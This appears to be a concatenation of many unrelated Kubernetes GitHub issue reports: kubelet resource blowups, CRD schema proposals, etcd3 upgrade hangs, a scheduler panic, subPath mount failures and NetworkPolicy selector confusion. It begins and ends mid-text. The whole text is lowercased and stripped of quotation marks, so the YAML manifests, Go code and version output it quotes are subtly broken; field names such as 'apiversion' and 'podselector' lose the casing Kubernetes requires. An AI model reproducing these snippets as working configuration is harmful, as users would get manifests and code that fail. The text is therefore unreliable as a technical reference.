| 2018-01-11t08:58:13z                 |\r +-------------------+--------------------------------------+\r    \r \r  openstack security group show cf73c410-7b8c-4e84-95f1-5c42ee8b09f7 \r \r    \r +-----------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\r | field           | value                                                                                                                                                                                                                                                                 |\r +-----------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\r | created_at      | 2018-01-11t08:58:07z                                                                                                                                                                                                                                                  |\r | description     | kubernetes loadbalancer security group                                                                                                                                                                                                                                |\r | id              | cf73c410-7b8c-4e84-95f1-5c42ee8b09f7                                                                                                                                                                                                                                  |\r | name            | idcp-k8s-loadbalancer                                                                                                                                                                                                                                                 |\r | project_id      | a53498e42330492b8d4e335abbac17cb                                                                                                                                                                                                                                      |\r | revision_number | 5                                                                                                                                                                                                                                                                     |\r | rules           | created_at='2018-01-11t08:58:07z', direction='egress', ethertype='ipv4', id='12208e2d-ed36-4815-8a07-688b66adbcd7', revision_number='1', updated_at='2018-01-11t08:58:07z'                                                                                            |\r |                 | created_at='2018-01-11t08:58:07z', direction='egress', ethertype='ipv6', id='75ecfee2-1e95-4201-853d-c62cbb89e11d', revision_number='1', updated_at='2018-01-11t08:58:07z'                                                                                            |\r |                 | created_at='2018-01-11t09:08:36z', direction='ingress', ethertype='ipv4', id='77cc3d8f-6cbc-4562-bf18-673f19003ca9', protocol='icmp', remote_ip_prefix='0.0.0.0/0', revision_number='1', updated_at='2018-01-11t09:08:36z'                                            |\r |                 | created_at='2018-01-11t09:08:37z', direction='ingress', ethertype='ipv4', id='4676c190-51b5-4b2c-b35a-d5762ad0c65e', port_range_max='443', port_range_min='443', protocol='tcp', remote_ip_prefix='0.0.0.0/0', revision_number='1', updated_at='2018-01-11t09:08:37z' |\r |                 | created_at='2018-01-11t09:08:37z', direction='ingress', ethertype='ipv4', id='7b126e96-5fa7-454b-a9eb-ae11b07a71b5', port_range_max='80', port_range_min='80', protocol='tcp', remote_ip_prefix='0.0.0.0/0', revision_number='1', updated_at='2018-01-11t09:08:37z'   |\r | updated_at      | 2018-01-11t09:08:37z                                                                                                                                                                                                                                                  |\r +-----------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.1\r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  : x86_64\r - install tools: kubeadm\r

right now, crds accept a schema in the form openapi v3 / json-schema.\r \r while it is true that apiserver publishes openapi  though v2  schema docs, i increasingly think that openapi is not a good schema definition mechanism for crds or kubernetes resources in general. why? it allows mixing \ type validation\  and \ value validation\  in inseparable ways, which is impossible to faithfully adhere to in our deserialization stack. it allows expressing many objects which would not conform to the \ kubernetes object model\   for lack of a better phrase . forbidding spec documents which won't work in our system is time consuming for us and will be confusing to users.\r \r people today define their resources in our \ go idl\ , or  i hear  some extension authors have used proto. no one writes openapi by hand directly, as far as i can tell. so, i don't think users will care  apart from the churn .\r \r we have a great opportunity to replace it with something new at the moment, as we're deprecating the singular  validation  field anyway to replace it with the version list.\r \r of course it's not obvious what to replace it with. off the top of my head we have some choices:\r 1. a string that contains the go types?  will be fun to validate / use, but definitely not impossible \r 2. a targeted schema language that expresses our exact semantics? i have  started one  https://github.com/kubernetes/kubernetes/pull/67458/files  for apply, it can be expedited if it will be useful here.\r 3. proto w/ extension tags? non-k8s googlers often expect this.

i want to push the container stats to kafka, but i couldn't find storage-driver option https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/\r \r i am wondering if kublet can provide this option as what cadvisor provided:\r https://github.com/google/cadvisor/blob/master/docs/storage/kafka.md\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r in correlation to https://github.com/kubernetes-sigs/cri-o/issues/1927 issuecomment-450588927, when the kubelet get invalid responses from the cri engine  cri-o :\r \r    \r manager.go:1147  failed to create existing container: /kubepods/burstable/podda7e2a57-0b9b-11e9-a7a6-0cc47abaca30/crio-e85b43dd2af0a65ae90bcdd6957e0705268c953f3ec5c506d3d096d34eae48c6: invalid character 'c' looking for beginning of value\r    \r \r then the kubelet is also seen at very high cpu and memory usage:\r \r    \r top - 07:09:52 up 2 days, 22:42,  1 user,  load average: 2774.61, 2601.04, 2421.94\r tasks: 2390 total,   3 running, 1785 sleeping,   0 stopped, 602 zombie\r %cpu s : 30.4 us, 55.9 sy,  0.1 ni,  9.3 id,  2.3 wa,  0.9 hi,  1.2 si,  0.0 st\r mib mem : 257891.8 total,   1100.9 free, 237627.1 used,  19163.9 buff/cache\r mib swap:      0.0 total,      0.0 free,      0.0 used.  16922.2 avail mem\r \r     pid user      pr  ni    virt    res    shr s  %cpu  %mem     time+ command\r  437442 root      20   0  142.8g  62.1g  13588 s  2714  24.6   5055:02 kubelet\r    \r \r   what you expected to happen  :\r \r a better handling of that situation, so the kubelet can stay responsive and do its others tasks. this bug report is not about fixing the cri-o issue.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r hard to say, it happens often on our cluster, with pretty big nodes  40 cpus + 256gb memory , but it looks more or less random.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:31:33z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration: 40 cpus and 256gb ram nodes\r - os  e.g. from /etc/os-release : gentoo\r - kernel  e.g.  uname -a  : 4.19.12\r - install tools: custom  currently working on open-sourcing them \r - others: under openrc, not systemd.\r \r <!-- do not edit below this line -->\r 

e0424 04:07:05.023414       1 summary.go:114  error while getting metrics summary from kubelet: request failed - \ 500 internal server error\ , response: \ internal error: non-existent label \\\ root\\\ \    the same as https://github.com/coreos/bugs/issues/1225

i see that 1.5.0.alpha2 already includes replica type and a count of 3.  however i think it would be better if this was a tunable parameter via the storageclass.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-multizone/2966/  failed:  k8s.io  gcp volumes  k8s.io  nfsv4 should be mountable for nfsv4 {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/volumes.go:393 failed: finding the contents of the mounted file. expected error:     < errors.errorstring | 0xc420e3c1b0>: {         s: \ failed to find \\\ hello from nfs!\\\ , last result: \\\ \\\ \ ,     }     failed to find \ hello from nfs!\ , last result: \ \  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/volumes.go:255

i just spent a lot of time debugging this so i figured i'd raise, if anything just to help the next guy googling why his upgrade from k8s-1.5 to k8s-1.6 isn't working. but k8s maintainers feel free to close this if there's no action needed here.\r \r it looks like kube-apiserver for k8s 1.6 now defaults to  --storage-backend=etcd3 . when in this mode, kube-apiserver hangs on its requests to an _etcdv2_ server and doesn't provide much information on the nature of the issue. i saw the following kube-apiserver logs:\r    \r 9462 reflector.go:201  k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion/factory.go:70: failed to list  api.secret: get http://localhost:8080/api/v1/secrets?resourceversion=0: dial tcp 127.0.0.1:8080: getsockopt: connection refused\r    \r \r    \r k8s-master kube-apiserver 9462 : e0324 19:05:29.593771    9462 storage_rbac.go:140  unable to initialize clusterroles: the server cannot complete the requested operation at this time, try again later  get clusterroles.rbac.authorization.k8s.io \r    \r \r    \r storage_extensions.go:127  third party resource sync failed: the server cannot complete the requested operation at this time, try again later  get thirdpartyresources.extensions \r reflector.go:201  k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion/factory.go:70: failed to list  api.secret: the server cannot complete the requested operation at this time, try again later  get secrets \r 9462 storage_rbac.go:140  unable to initialize clusterroles: the server cannot complete the requested operation at this time, try again later  get clusterroles.rbac.authorization.k8s.io \r    \r \r  kubectl  requests simply hung, even though the apiserver was responding:\r    \r  curl localhost:8080/version\r {\r   \ major\ : \ 1\ ,\r   \ minor\ : \ 6+\ ,\r   \ gitversion\ : \ v1.6.0-beta.4\ ,\r   \ gitcommit\ : \ b202120be3a97e5f8a5e20da51d0b6f5a1eebd31\ ,\r   \ gittreestate\ : \ clean\ ,\r   \ builddate\ : \ 2017-03-17t17:42:22z\ ,\r   \ goversion\ : \ go1.7.5\ ,\r   \ compiler\ : \ gc\ ,\r   \ platform\ : \ linux/amd64\ \r }\r    \r \r and there was no indication of any issues in the etcd logs.\r \r manually setting to  --storage-backend=etcd2  resolved my issue.

@thockin cmd/kube-proxy/app/server.go has:\r \r    \r \t\t// todo this has side effects that should only happen when run   is invoked.\r \t\tproxieriptables, err := iptables.newproxier \r \t\t\tiptinterface,\r \t\t\tutilsysctl.new  ,\r \t\t\texecer,\r \t\t\tconfig.iptables.syncperiod.duration,\r \t\t\tconfig.iptables.minsyncperiod.duration,\r \t\t\tconfig.iptables.masqueradeall,\r \t\t\tint  config.iptables.masqueradebit ,\r \t\t\tconfig.clustercidr,\r \t\t\thostname,\r \t----->\tgetnodeip client, hostname ,\r \t\t\trecorder,\r \t\t\thealthzserver,\r \t\t \r    \r \r while the userspace and windows proxies use  net.parseip config.bindaddress   instead.  should the iptables proxy also pass bindaddress if !empty?

is this a bug report or feature request?  :\r  @kubernetes/sig-scalability-bugs \r / umbrella issue:  55194 \r \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/35 failed with:\r    \r i1124 00:33:02.423  nov 24 00:33:01.842: info: unexpected error occurred: timed out waiting for the condition\r i1124 00:33:02.423  \r i1124 00:33:02.423  \r i1124 00:33:02.423  failure  5408.883 seconds \r i1124 00:33:02.424   beforesuite  beforesuite \r i1124 00:33:02.424  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:138\r i1124 00:33:02.424  \r i1124 00:33:02.425    expected error:\r i1124 00:33:02.425        < errors.errorstring | 0xc42037a1c0>: {\r i1124 00:33:02.425            s: \ timed out waiting for the condition\ ,\r i1124 00:33:02.425        }\r i1124 00:33:02.425        timed out waiting for the condition\r i1124 00:33:02.425    not to have occurred\r i1124 00:33:02.426  \r i1124 00:33:02.426    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:176\r    \r \r the failure was waiting for enough nodes to be schedulable:\r    \r i1124 00:33:02.156  nov 23 23:02:57.292: info: waiting up to 1h30m0s for all  but 50  nodes to be schedulable\r i1124 00:33:02.156  nov 23 23:07:30.662: info: unschedulable nodes:\r  ... \r i1124 00:33:02.406  nov 24 00:32:30.331: info: unschedulable nodes:\r i1124 00:33:02.406  nov 24 00:32:30.331: info: -> gce-scale-cluster-minion-group-700b ready=true network=false\r i1124 00:33:02.407  nov 24 00:32:30.331: info: -> gce-scale-cluster-minion-group-dx9c ready=true network=false\r  ... 70 more... \r    \r \r @shyamjvs did you by any chance turn on the ip aliasing already? if so, then it clearly does not work well enough yet...

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r pods are in crashbackoffloop after upgrade to v1.8.13 from v1.8.10. pod event log:\r    \r events:\r   type     reason                 age                from                                   message\r   ----     ------                 ----               ----                                   -------\r   normal   scheduled              1m                 default-scheduler                      successfully assigned mycontainer-7b9cc74d64-zl27d to ip-10-35-85-82.ec2.internal\r   normal   successfulmountvolume  1m                 kubelet, ip-10-35-85-82.ec2.internal  mountvolume.setup succeeded for volume \ resolv-conf\ \r   normal   successfulmountvolume  1m                 kubelet, ip-10-35-85-82.ec2.internal  mountvolume.setup succeeded for volume \ default-token-j7sx2\ \r   warning  failed                 48s  x3 over 1m    kubelet, ip-10-35-85-82.ec2.internal  error: failed to start container \ mycontainer\ : error response from daemon: chown /var/lib/kubelet/pods/2c224e30-5d35-11e8-9a6d-0eeef00298ba/volume-subpaths/resolv-conf/mycontainer/0: read-only file system\r   warning  backoff                39s  x2 over 40s   kubelet, ip-10-35-85-82.ec2.internal  back-off restarting failed container\r   normal   pulling                27s  x4 over 1m    kubelet, ip-10-35-85-82.ec2.internal  pulling image \ 123456789012.dkr.ecr.us-west-1.amazonaws.com/mycontainer:mylabel\ \r   normal   pulled                 27s  x4 over 1m    kubelet, ip-10-35-85-82.ec2.internal  successfully pulled image \ 123456789012.dkr.ecr.us-west-1.amazonaws.com/mycontainer:mylabel\ \r   normal   created                27s  x4 over 1m    kubelet, ip-10-35-85-82.ec2.internal  created container\r   warning  failedsync             27s  x6 over 1m    kubelet, ip-10-35-85-82.ec2.internal  error syncing pod\r    \r \r related logs from node syslog:\r    \r may 21 20:28:50 ip-10-35-85-82 dockerd 1538 : time=\ 2018-05-21t20:28:50.508269569z\  level=error msg=\ handler for post /v1.26/containers/68242e4980877f4a761ed12ed0384d01e815bad46a8a051a1868f52b99f71551/start returned error: chown /var/lib/kubelet/pods/2c224e30-5d35-11e8-9a6d-0eeef00298ba/volume-subpaths/resolv-conf/mycontainer/0: read-only file system\ \r may 21 20:28:50 ip-10-35-85-82 kubelet 1709 : e0521 20:28:50.508932    1709 remote_runtime.go:209  startcontainer \ 68242e4980877f4a761ed12ed0384d01e815bad46a8a051a1868f52b99f71551\  from runtime service failed: rpc error: code = unknown desc = failed to start container \ 68242e4980877f4a761ed12ed0384d01e815bad46a8a051a1868f52b99f71551\ : error response from daemon: chown /var/lib/kubelet/pods/2c224e30-5d35-11e8-9a6d-0eeef00298ba/volume-subpaths/resolv-conf/mycontainer/0: read-only file system\r may 21 20:28:50 ip-10-35-85-82 kubelet 1709 : e0521 20:28:50.509033    1709 kuberuntime_manager.go:718  container start failed: runcontainererror: failed to start container \ 68242e4980877f4a761ed12ed0384d01e815bad46a8a051a1868f52b99f71551\ : error response from daemon: chown /var/lib/kubelet/pods/2c224e30-5d35-11e8-9a6d-0eeef00298ba/volume-subpaths/resolv-conf/mycontainer/0: read-only file system\r may 21 20:28:50 ip-10-35-85-82 kubelet 1709 : e0521 20:28:50.509085    1709 pod_workers.go:182  error syncing pod 2c224e30-5d35-11e8-9a6d-0eeef00298ba \ mycontainer-7b9cc74d64-zl27d_default 2c224e30-5d35-11e8-9a6d-0eeef00298ba \  , skipping: failed to \ startcontainer\  for \ mycontainer\  with runcontainererror: \ failed to start container \\\ 68242e4980877f4a761ed12ed0384d01e815bad46a8a051a1868f52b99f71551\\\ : error response from daemon: chown/var/lib/kubelet/pods/2c224e30-5d35-11e8-9a6d-0eeef00298ba/volume-subpaths/resolv-conf/mycontainer/0: read-only file system\ \r    \r \r deployment yaml:\r    \r         volumemounts:\r           - name: resolv-conf\r             mountpath: /etc/resolv.conf\r             subpath: resolv.conf\r       volumes:\r         - name: resolv-conf\r           configmap:\r             name: resolv-conf-retries-configmap\r             optional: true\r    \r \r   what you expected to happen  :\r be able to launch pod with volumemount from configmap.\r \r   how to reproduce it  as minimally and precisely as possible   :\r try to mount a subpath from a configmap as seen in deployment snippet.\r \r   anything else we need to know?  :\r downgrade to v1.8.12 resolved the problem.\r \r also tried specifying readonly: true in the volumemount with no change in behavior.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.10\ , gitcommit:\ 044cd262c40234014f01b40ed7b9d09adbafe9b1\ , gittreestate:\ clean\ , builddate:\ 2018-03-19t17:51:28z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.13\ , gitcommit:\ 290fb182489a396dce5d136451388f9b12f29c94\ , gittreestate:\ clean\ , builddate:\ 2018-05-15t18:08:47z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : \r    \r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r - kernel  e.g.  uname -a  : linux ip-172-18-85-82 4.4.115-k8s  1 smp thu feb 8 15:37:40 utc 2018 x86_64 gnu/linux\r - install tools: kops 1.9.0\r - others:\r

is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r    \r i1023 19:19:05.400206       1 scheduler.go:298  trying to bind volumes for pod \ kube-system/kube-flannel-8dcq5\ \r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x0 pc=0x36b1455 \r \r goroutine 294  running :\r k8s.io/kubernetes/pkg/scheduler.  scheduler .bindvolumes 0xc42000fc30, 0xc4209cea80, 0xc42023a810, 0xc42023a818 \r \t/workspace/anago-v1.12.1-beta.0.52+4ed3216f3ec431/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/scheduler/scheduler.go:299 +0x135\r k8s.io/kubernetes/pkg/scheduler.  scheduler .scheduleone.func1 0xc4204beb00, 0xc42000fc30, 0xc4209cea80, 0xc4208ea6c0, 0xc4204beb10, 0x6, 0xbeebfa7251a9dac1, 0x41952c035, 0x956d500 \r \t/workspace/anago-v1.12.1-beta.0.52+4ed3216f3ec431/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/scheduler/scheduler.go:448 +0x26a\r created by k8s.io/kubernetes/pkg/scheduler.  scheduler .scheduleone\r \t/workspace/anago-v1.12.1-beta.0.52+4ed3216f3ec431/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/scheduler/scheduler.go:445 +0x7a6\r    \r \r   what you expected to happen  :\r \r if the scheduler was expecting something to happen that did not, it should emit a log message rather than a nil pointer that doesn't help anyone know any kind of corrective action to take\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    yaml\r   containers:\r   - name: kube-scheduler\r     image: gcr.io/google-containers/hyperkube-amd64:v1.12.1\r     imagepullpolicy: ifnotpresent\r     resources:\r       limits:\r         cpu: 250m\r         memory: 512m\r       requests:\r         cpu: 80m\r         memory: 170m\r     command:\r     - /hyperkube\r     - scheduler\r     - --leader-elect=true\r     - --kubeconfig=/etc/kubernetes/kube-scheduler-kubeconfig.yaml\r     - --profiling=false\r     - --v=2\r     - --feature-gates=persistentlocalvolumes=false,volumescheduling=false,mountpropagation=false\r    \r \r   anything else we need to know?  :\r \r it appears that removing  volumescheduling=false,  from the  feature-gates  cures the nil pointer\r \r   environment  :\r - kubernetes version  use  kubectl version  : server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.1\ , gitcommit:\ 4ed3216f3ec431b140b1d899130a69fc671678f4\ , gittreestate:\ clean\ , builddate:\ 2018-10-05t16:36:14z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: virtualbox\r - os  e.g. from /etc/os-release : ubuntu 18.04.1 lts\r - kernel  e.g.  uname -a  : linux k8s-02 4.15.0-36-generic  39-ubuntu smp mon sep 24 16:19:09 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubespray v2.7.0\r - others: docker 18.06.1-ce\r

some apps, usually those need access to shared data or legacy apps, need to make sure that there are at least one  ha  and only one  fencing  instance running. otherwise, if one instance is detected to be down, but still accessing data  e.g. network issue or responsiveless ; the second instance is boot up, accessing data too. data will be corrupted.  the fencing, in above case, need to make sure the first instance is \ fully dead\  or totally isolated from any access to data. fencing is commonly used in active-passive ha such as pacemaker.  one walkaround is to implement leader selection for the app, using etcd/zookeeper. however, it may happen that: instance1 acquires leader => instance1 keep writing but responsiveless => heartbeat timeout and instance2 acquires leader => instance1 still writing => instance2 writes => data corruption. besides, in may use case, modifying existing apps is not feasible.  another walkaround is to implement a distributed lock using shared fs  file lock  or etcd/zookeeper. beside the added overhead of locking every write operation, it has the similar problem: instance1 acquires lock => instance1 becomes responsiveless but still writing => lock timeout => instance2 acquires lock => instance1 still writing => instance2 writes => data corruption.  the code of the app would look like        enter the app distributed_lock.lock    do_things1   do_things2   ... do_thingsk        lock is acquired by instance2 at this time do_thingsk+1        i'm still writing, so data corrupts ... do_thingsn      exit the app distributed_lock.unlock        however, if the app keeps checking lock too frequently, say every heartbeat, the overhead would be unfeasible, yet hard to write the correct code.  so, my point is that the best place to implement fencing is the underlying cluster manager, i.e. k8s.  related discussion: https://groups.google.com/forum/ !topic/coreos-dev/zcaywidvyys

need to add reconciler logic to the service controller sync loop to allow cloud provider packages to reconcile healthcheck and target pools created/needed by the service loadbalancer feature.

i found the following isuse with the documentation:\r \r the custom solutions   https://kubernetes.io/docs/setup/pick-right-solution/ custom-solutions  guide links to getting started from scratch   https://kubernetes.io/docs/getting-started-guides/scratch/  , and that guide links to kubectl install which already seems to assume i have kube-up.sh   https://kubernetes.io/docs/tasks/kubectl/install/  .\r \r in the section \ configuring kubectl\  the tool kube-up.sh is just casually mentioned without any links to relevant documentation, and \ making sure it's ready\  seems to assume for  kubectl cluster-info  i already used it to create a cluster. i can click the \ getting started guides\  link in that paragraph to get back to https://kubernetes.io/docs/getting-started-guides/ but that is where i just came from!\r \r tl;dr: minikube cluster docs are easy to find from kubectl install guide, but if i want to create a proper cluster directly on the host there is no obvious link from the kubectl install guide where i should go to read up on it.\r

flaky job: pr:pull-kubernetes-node-e2e  flakes in the past week:   53    consistency:   93.40%         flakiest tests by flake count: | test | flake count | | --- | --- | |  k8s.io  security context when creating a pod in the host network namespace should listen on same port in the host network containers | 7 |    flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r   what happened  :\r i can't find a way of matching a pod label and a namespace label.\r \r   what you expected to happen  :\r i want to be able to define network policy such that certain pods in a frontend namespace can be allowed to access specific pods/services in a backend namespace.\r i.e. i want to define networkpolicies which allow ingress across namespaces by podlabel.\r \r when creating a policy with a namespaceselector and a podselector it seems to allow access from everything in the namespace.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create backend and frontend namespaces and label each with network-zone: frontend|backend\r create a backend nginx service:\r    \r kubectl run nginxback --image=nginx --replicas=2 -n backend\r kubectl expose deployment nginxback --port=80 -n backend\r    \r now create two busybox clients in the frontend namespace for testing access to the nginxback backend service:\r    \r kubectl run busy1 -ti --image=busybox /bin/sh -n frontend\r kubectl run busy2 -ti --image=busybox /bin/sh -n frontend\r    \r catch all backend pods with a default deny policy...\r \r    \r ---\r apiversion: networking.k8s.io/v1\r kind: networkpolicy\r metadata:\r   name: default-deny-all-backend\r   namespace: backend\r spec:\r   podselector: {}\r    \r \r now create the following networkpolicy to allow access from busy2: -  \r    \r apiversion: networking.k8s.io/v1\r kind: networkpolicy\r metadata:\r   name: from-busy2-to-backend-nginx\r   namespace: backend\r spec:\r   podselector:\r     matchlabels:\r       run: nginxback\r   ingress:\r   - from:\r     - namespaceselector:\r         matchlabels:\r           network-zone: frontend\r     - podselector:\r         matchlabels:\r           run: busy2\r     ports:\r     - port: 80\r    \r test access from busy1 and busy2 pods in the frontend:\r busy2:\r    \r   wget -q -s --timeout=5 --spider http://nginxback.backend\r   http/1.1 200 ok\r   server: nginx/1.13.3\r   date: thu, 10 aug 2017 11:38:01 gmt\r   content-type: text/html\r   content-length: 612\r   last-modified: tue, 11 jul 2017 13:06:07 gmt\r   connection: close\r   etag: \ 5964cd3f-264\ \r   accept-ranges: bytes\r    \r busy1:\r    \r   wget -q -s --timeout=5 --spider http://nginxback.backend\r   http/1.1 200 ok\r   server: nginx/1.13.3\r   date: thu, 10 aug 2017 11:39:30 gmt\r   content-type: text/html\r   content-length: 612\r   last-modified: tue, 11 jul 2017 13:06:07 gmt\r   connection: close\r   etag: \ 5964cd3f-264\ \r   accept-ranges: bytes\r    \r hmm, looks like i've opened a rule that allows anything in my frontend namespace where i want to pick out a specific pod.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 2017-08-10 12:08:38.168742 i | proto: duplicate proto type registered: google.protobuf.any\r 2017-08-10 12:08:38.168836 i | proto: duplicate proto type registered: google.protobuf.duration\r 2017-08-10 12:08:38.168855 i | proto: duplicate proto type registered: google.protobuf.timestamp\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t06:43:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t06:43:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : \r name=\ container linux by coreos\ \r id=coreos\r version=1409.7.0\r version_id=1409.7.0\r build_id=2017-07-19-0005\r pretty_name=\ container linux by coreos 1409.7.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r \r - kernel  e.g.  uname -a  :\r linux ip-10-20-14-134.eu-west-1.compute.internal 4.11.11-coreos  1 smp tue jul 18 23:06:59 utc 2017 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux\r \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r i am following the https://kubernetes.io/docs/getting-started-guides/windows/ to add a windows node on kubernetes 1.8.3 cluster. my kubelet has connected to api server but can not run any pod.\r following is the pod status:\r    \r name:         nanoserver\r namespace:    default\r node:         172.22.101.132/172.22.101.132\r start time:   thu, 16 nov 2017 17:08:32 +0800\r labels:       name=nanoserver\r annotations:  kubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ v1\ ,\ kind\ :\ pod\ ,\ metadata\ :{\ annotations\ :{},\ labels\ :{\ name\ :\ nanoserver\ },\ name\ :\ nanoserver\ ,\ namespace\ :\ default\ },\ spec\ :{\ contain...\r status:       pending\r ip:           \r containers:\r   iis:\r     container id:  \r     image:         microsoft/nanoserver\r     image id:      \r     port:          <none>\r     command:\r       powershell\r       sleep\r       9999\r     state:          waiting\r       reason:       containercreating\r     ready:          false\r     restart count:  0\r     environment:    <none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-7hww5  ro \r conditions:\r   type           status\r   initialized    true \r   ready          false \r   podscheduled   true \r volumes:\r   default-token-7hww5:\r     type:        secret  a volume populated by a secret \r     secretname:  default-token-7hww5\r     optional:    false\r qos class:       besteffort\r node-selectors:  beta.kubernetes.io/os=windows\r tolerations:     <none>\r events:\r   type     reason                  age                 from                     message\r   ----     ------                  ----                ----                     -------\r   normal   scheduled               20m                 default-scheduler        successfully assigned nanoserver to 172.22.101.132\r   normal   successfulmountvolume   20m                 kubelet, 172.22.101.132  mountvolume.setup succeeded for volume \ default-token-7hww5\ \r   warning  failedcreatepodsandbox  18m  x12 over 20m   kubelet, 172.22.101.132  failed create pod sandbox.\r   warning  failedsync              42s  x92 over 20m   kubelet, 172.22.101.132  error syncing pod\r    \r and kubelet keep showing\r    \r e1116 17:29:39.718878    4684 kubelet_network.go:167  checklimitsforresolvconf: open /etc/resolv.conf: the system cannot find the path specified.\r e1116 17:29:40.324355    4684 eviction_manager.go:238  eviction manager: unexpected err: failed to get root cgroup stats: failed to get cgroup stats for \ /\ : unexpected number of containers: 0\r e1116 17:29:45.746797    4684 kuberuntime_sandbox.go:39  generatepodsandboxconfig for pod \ nanoserver_default b7ead396-caad-11e7-8c1f-080027e093ef \  failed: open /etc/resolv.conf: the system cannot find the path specified.\r e1116 17:29:45.748297    4684 kuberuntime_manager.go:633  createpodsandbox for pod \ nanoserver_default b7ead396-caad-11e7-8c1f-080027e093ef \  failed: open /etc/resolv.conf: the system cannot find the path specified.\r e1116 17:29:45.748297    4684 pod_workers.go:182  error syncing pod b7ead396-caad-11e7-8c1f-080027e093ef  \ nanoserver_default b7ead396-caad-11e7-8c1f-080027e093ef \  , skipping: failed to \ createpodsandbox\  for \ nanoserver_default b7ead39\r 6-caad-11e7-8c1f-080027e093ef \  with createpodsandboxerror: \ generatepodsandboxconfig for pod \\\ nanoserver_default b7ead396-caad-11e7-8c1f-080027e093ef \\\  failed: open /etc/resolv.conf: the system cannot find the path specified.\ \r e1116 17:29:50.391548    4684 eviction_manager.go:238  eviction manager: unexpected err: failed to get root cgroup stats: failed to get cgroup stats for \ /\ : unexpected number of containers: 0\r    \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely 